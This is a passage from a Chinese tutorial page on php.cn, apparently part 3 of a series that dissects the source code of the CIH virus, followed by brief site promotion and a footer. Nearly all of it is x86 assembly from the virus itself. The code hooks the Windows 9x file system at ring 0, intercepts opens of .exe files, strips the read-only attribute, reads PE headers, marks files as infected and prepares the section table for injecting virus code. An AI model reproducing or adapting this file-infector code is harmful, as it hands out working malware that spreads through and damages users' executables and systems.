jmp exitring0init ;退出ring0级
;合并后的代码大小
codesizeofmergeviruscodesection = offset $
;新的ifsmgr_installfilesystemapihook功能调用
installfilesystemapihook:
push ebx
call @4
@4:
pop ebx ;获得当前指令的偏移地址
add ebx, filesystemapihook-@4 ;加上偏移的差等于filesystemapihook的偏移
push ebx
int 20h ;调用vxd移去指向filesystemapihook的钩子
ifsmgr_removefilesystemapihook = $
dd 00400068h ;使用eax、ecx、edx和flags寄存器
pop eax
;调用原来的ifsmgr_installfilesystemapihook功能连接filesystemapihook钩子
push dword ptr [esp+8]
call oldinstallfilesystemapihook-@3[ebx]
pop ecx
push eax
push ebx
call oldinstallfilesystemapihook-@3[ebx]
pop ecx
mov dr0, eax ;调整oldfilesystemapihook地址
pop eax
pop ebx
ret
oldinstallfilesystemapihook dd ;原来的installfilesystemapihook调用地址
;ifsmgr_filesystemhook调用入口
filesystemapihook:
@3 = filesystemapihook
push ad ;保存寄存器
call @5
@5:
pop esi ; mov esi, offset ;esi为当前指令的偏移
add esi, virusgamedatastartaddress-@5 ;esi为filesystemapihook的偏移
;加virusgamedatastartaddress的偏移之差等于virusgamedatastartaddress的偏移
;测试“忙”标志,“忙”则转到pifsfunc
test byte ptr (onbusy-@6)[esi], 01h
jnz pifsfunc
;如果没有打开文件,则转到prevhook
lea ebx, [esp+20h+04h+04h] ;ebx为functionnum的地址
;文件系统钩子的调用格式如下
;filesystemapihookfunction(pifsfunc fsdfnaddr, int functionnum, int drive,
;int resourceflags, int codepage, pioreq pir)
;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (onbusy-@6)[esi] ; enable onbusy ;设置“忙”标志为“忙”
;获得文件路径指定的驱动器号,然后把驱动器名称放到filenamebuffer中
;如果驱动器号为03h,则说明该盘是c盘
mov esi, offset filenamebuffer
add esi, filenamebuffer-@6 ;esi指向filenamebuffer
push esi ;保存
mov al, [ebx+04h] ;ebx+4为磁盘号的地址
;是否unc(universal naming conventions)地址,如果是就转callunitobcspath
cmp al, 0ffh
je callunitobcspath
add al, 40h
mov ah, ':'
mov [esi], eax ;处理成"x:"的形式,即在盘符后面增加一个冒号
inc esi
inc esi
;把canonicalized unicode的字符转换为普通的bcs字符集,调用方法
;unitobcspath(unsigned char * pbcspath, parsedpath * punipath,
;unsigned int maxlength, int charset)
callunitobcspath:
push 00000000h ;字符集
push filenamebuffersize ;字符长度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;uni字符首址
push esi ;bcs字符首址
int 20h ;调用unitobcspath
unitobcspath = $
dd 00400041h 调用id
add esp, 04h*04h
;判断文件是否是exe文件
cmp [esi+eax-04h], 'exe.'
pop esi
jne disableonbusy
if debug
;以下信息为调试用
cmp [esi+eax-06h], 'kcuf'
jne disableonbusy
endif
;判断文件是否存在,如果不存在,则转向disableonbusy处
cmp word ptr [ebx+18h], 01h
jne disableonbusy
;获得文件属性
mov ax, 4300h
int 20h ;调用ifsmgr_ring0_fileio获得文件属性的功能
ifsmgr_ring0_fileio = $
dd 00400032h ;调用号
jc disableonbusy
push ecx
;获得ifsmgr_ring0_fileio地址
mov edi, dword ptr (ifsmgr_ring0_fileio-@7)[esi]
mov edi, [edi]
;判断是否只读文件,如果是,则修改文件属性,否则转向openfile处
test cl, 01h
jz openfile
mov ax, 4301h
xor ecx, ecx
call edi ;调用ifsmgr_ring0_fileio修改文件属性的功能,使文件可写
;打开文件
openfile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx ;文件属性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ;调用ifsmgr_ring0_fileio打开文件的功能
xchg ebx, eax ;在ebx中保存文件句柄
;是否需要恢复文件属性(有写属性就不需要恢复了)
pop ecx
pushf
test cl, 01h
jz isopenfileok
;恢复文件属性
mov ax, 4301h
call edi ;恢复文件属性
;文件打开是否成功,如果不成功,则转向disableonbusy处
isopenfileok:
popf
jc disableonbusy
;文件打开成功
push esi ;把文件名数据区首址入栈
pushf ;cf = 0,保存标志位
add esi, databuffer-@7 ;esi指向数据区首址
;获得新文件头的偏移
xor eax, eax
mov ah, 0d6h ;ifsmgr_ring0_fileio的读文件功能号(r0_readfile)
;为了达到使病毒代码长度最少的目的,把eax保存到ebp
mov ebp, eax
push 00000004h ;读取4个字节
pop ecx
push 0000003ch ;读取dos文件头偏移3ch处的windows文件头首部偏移
pop edx
call edi ;读文件到esi
mov edx, [esi] ;windows文件头首部偏移放到edx
; 获得图形文件头的pe标记和已感染标记
dec edx
mov eax, ebp ;功能号
call edi ;读文件到esi
;判断是否是pe,如果是,进一步判断是否已经感染过
;判断是否是winzip自解压文件,如果是,就不感染 self-extractor *
cmp dword ptr [esi], 00455000h ;判断是否是pe文件(标志"pe/0/0")
jne closefile ;不是就关闭文件
;如果是pe文件,且没有被感染,就开始感染该文件
push ebx ;保存文件句柄
push 00h
;设置病毒感染标记
push 01h ;标记大小
push edx ;edx指向pe文件头偏移00h
push edi ;edi为ifsmgr_ring0_fileio的地址
mov dr1, esp ;保存esp
;设置 newaddressofentrypoint入口
push eax
;读文件头
mov eax, ebp
mov cl, sizeofimageheadertoread ;要读2个字节
add edx, 07h ;pe文件头+07h为numberofsections(块个数)
call edi ;读出numberofsections(块个数)到esi
lea eax, (addressofentrypoint-@8)[edx]
push eax ;文件指针
lea eax, (newaddressofentrypoint-@8)[esi]
push eax ; 缓冲区地址
;把edx的值放到文件病毒代码块表表的开始位置
movzx eax, word ptr (sizeofoptionalheader-@8)[esi]
lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移
;获得病毒代码块表的大小
mov al, sizeofscetiontable ;每个块表项的大小
mov cl, (numberofsections-@8)[esi]
mul cl ;每个块表项乘以块个数等于块表大小
; 设置病毒代码块表
lea esi, (startofsectiontable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)
以上就是病毒程序源码实例剖析-CIH病毒[3]的内容,更多相关内容请关注PHP中文网(www.php.cn)!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号